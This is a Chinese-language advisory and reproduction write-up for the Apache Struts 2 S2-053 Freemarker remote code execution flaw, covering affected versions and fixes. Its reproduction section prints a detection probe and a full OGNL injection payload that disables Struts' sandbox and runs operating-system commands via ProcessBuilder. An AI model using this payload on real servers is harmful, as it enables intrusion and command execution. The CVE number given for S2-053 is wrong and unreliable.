继S2-052之后，Apache Struts 2再次被曝存在远程代码执行漏洞，漏洞编号S2-053，CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时，可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10

不受影响的版本

Struts 2.5.12、Struts 2.3.34

漏洞分析

当在Freemarker标签中使用表达式文本或强制表达式时，使用以下请求值可能会导致远程代码执行

<@s.hidden name=&quot;redirectUri&quot; value=redirectUri /><@s.hidden name=&quot;redirectUri&quot; value=&quot;${redirectUri}&quot; />

这两种情况下，值属性都使用可写属性，都会受到Freemarker表达式影响。

修复方案

1、升级到Apache Struts版本2.5.12或2.3.34

2、使用只读属性来初始化value属性（仅限getter属性）

3、Freemarker标签内容不要通过Request方式获取

复现

开启tomcat

打开测试网站

输入检测代码

%{1+1}

说明漏洞存在

输入payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}